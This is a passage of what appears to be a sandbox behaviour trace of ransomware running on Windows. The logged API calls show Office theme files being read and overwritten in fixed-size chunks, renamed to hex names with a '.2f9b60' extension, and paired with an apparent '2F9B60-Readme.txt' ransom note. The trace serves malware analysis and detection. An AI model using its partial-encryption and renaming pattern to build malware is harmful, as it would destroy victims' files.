(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.204] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xf6b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.204] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2546f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x2546f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.206] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xf6b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0089.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.207] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2546f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2546f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2210 [0089.215] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.215] WriteFile (in: hFile=0xa44, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2546f890, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2546f890*=0x14a, lpOverlapped=0x0) returned 1 [0089.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a450) returned 1 [0089.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0089.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0089.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0089.224] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="73") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="ba") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="ba") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="09") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="f1") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="53") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="48") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="12") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="06") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="f7") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="e7") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="5c") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="83") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="1d") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="2b") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="92") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="26") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="8d") returned 2 [0089.224] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="e9") returned 2 [0089.225] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="79") returned 2 [0089.225] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="a9") returned 2 [0089.225] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="4e") returned 2 [0089.225] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="56") returned 2 [0089.225] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="1e") returned 2 [0089.225] RtlInitAnsiString (in: DestinationString=0x2546f908, SourceString="73baba09f153481206f7e75c831d2b92268de979a94e561e" | out: DestinationString="73baba09f153481206f7e75c831d2b92268de979a94e561e") [0089.225] RtlAnsiStringToUnicodeString (in: DestinationString=0x2546f8d8, SourceString="73baba09f153481206f7e75c831d2b92268de979a94e561e", AllocateDestinationString=1 | out: DestinationString="73baba09f153481206f7e75c831d2b92268de979a94e561e") returned 0x0 [0089.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f00 [0089.225] wcscat (in: _Dest=0x1b7ad2a0, _Source="73baba09f153" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\73baba09f153") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\73baba09f153" [0089.225] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\73baba09f153.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\73baba09f153.2f9b60" [0089.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\73baba09f153.2f9b60", NtPathName=0x2546f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\73baba09f153.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106e80 [0089.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.227] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x2546f918, FileInformation=0x2546f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2546f918, FileInformation=0x2546f928) returned 0x0 [0089.227] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x2546f918, FileInformation=0x2546f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0089.228] FlushFileBuffers (hFile=0xa44) returned 1 [0089.230] CloseHandle (hObject=0xa44) returned 1 [0089.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.230] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.230] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b7f0) returned 1 Thread: id = 348 os_tid = 0xea0 [0089.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx")) returned 0x20 [0089.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx", dwFileAttributes=0x20) returned 1 [0089.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0089.165] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x253ef8a0 | out: lpFileSize=0x253ef8a0*=93940) returned 1 [0089.165] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x16ef0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.165] ReadFile (in: hFile=0xa3c, lpBuffer=0x253ef820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x253ef868, lpOverlapped=0x0 | out: lpBuffer=0x253ef820*, lpNumberOfBytesRead=0x253ef868*=0x4, lpOverlapped=0x0) returned 1 [0089.170] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.170] NtQuerySystemTime (in: CurrentTime=0x253ef760 | out: CurrentTime=0x253ef760*=132462176950426000) returned 0x0 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x5ba68131 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x5e3ff3d8 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x647486ba [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x7ebb86e7 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x37e8962b [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x972e1a1 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x6f205e4e [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x75c7f5e3 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x3f4ad6c6 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x752d9682 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x36f81a49 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x72faa137 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x39edb80e [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x69604e66 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x5f612927 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x6fce86a1 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x3be8df3b [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x33f51481 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x7b53c17a [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x38632e3a [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x14fce1ba [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x78311a72 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x783ecbd4 [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x882261c [0089.170] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0xcbb1c10 [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x44b83f81 [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x73537af [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x55ec2270 [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x12fd3dbc [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x4c7d9dba [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x274eaf96 [0089.171] RtlRandomEx (in: Seed=0x253ef750 | out: Seed=0x253ef750) returned 0x1ab7d734 [0089.177] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.177] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x253ef7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x253ef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.189] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0089.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.190] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x253ef7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x253ef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.194] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.194] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x253ef7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x253ef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.195] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0089.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0089.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0089.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.199] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x253ef7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x253ef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.201] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x132f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.201] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x253ef7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x253ef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.202] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x132f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0089.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.203] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x253ef7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x253ef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2210 [0089.205] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.205] WriteFile (in: hFile=0xa3c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x253ef870, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x253ef870*=0x146, lpOverlapped=0x0) returned 1 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0089.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f970 [0089.209] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="c3") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="b1") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="9a") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="01") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="13") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="9a") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="fd") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="1f") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="15") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="80") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="7e") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="09") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="d9") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="92") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="f4") returned 2 [0089.209] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="c7") returned 2 [0089.210] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="04") returned 2 [0089.210] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="8a") returned 2 [0089.210] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="d6") returned 2 [0089.210] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="7d") returned 2 [0089.210] RtlInitAnsiString (in: DestinationString=0x253ef8e8, SourceString="c3b19a01139afd1f15807e09d992f4c7048ad67d" | out: DestinationString="c3b19a01139afd1f15807e09d992f4c7048ad67d") [0089.210] RtlAnsiStringToUnicodeString (in: DestinationString=0x253ef8b8, SourceString="c3b19a01139afd1f15807e09d992f4c7048ad67d", AllocateDestinationString=1 | out: DestinationString="c3b19a01139afd1f15807e09d992f4c7048ad67d") returned 0x0 [0089.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d370 [0089.210] wcscat (in: _Dest=0x1b7ad2a0, _Source="c3b19a0113" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c3b19a0113") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c3b19a0113" [0089.210] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c3b19a0113.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c3b19a0113.2f9b60" [0089.210] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c3b19a0113.2f9b60", NtPathName=0x253ef890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\c3b19a0113.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0089.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.212] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x253ef8f8, FileInformation=0x253ef908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x253ef8f8, FileInformation=0x253ef908) returned 0x0 [0089.212] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x253ef8f8, FileInformation=0x253ef908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d370) returned 1 [0089.213] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.220] CloseHandle (hObject=0xa3c) returned 1 [0089.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.221] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.221] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 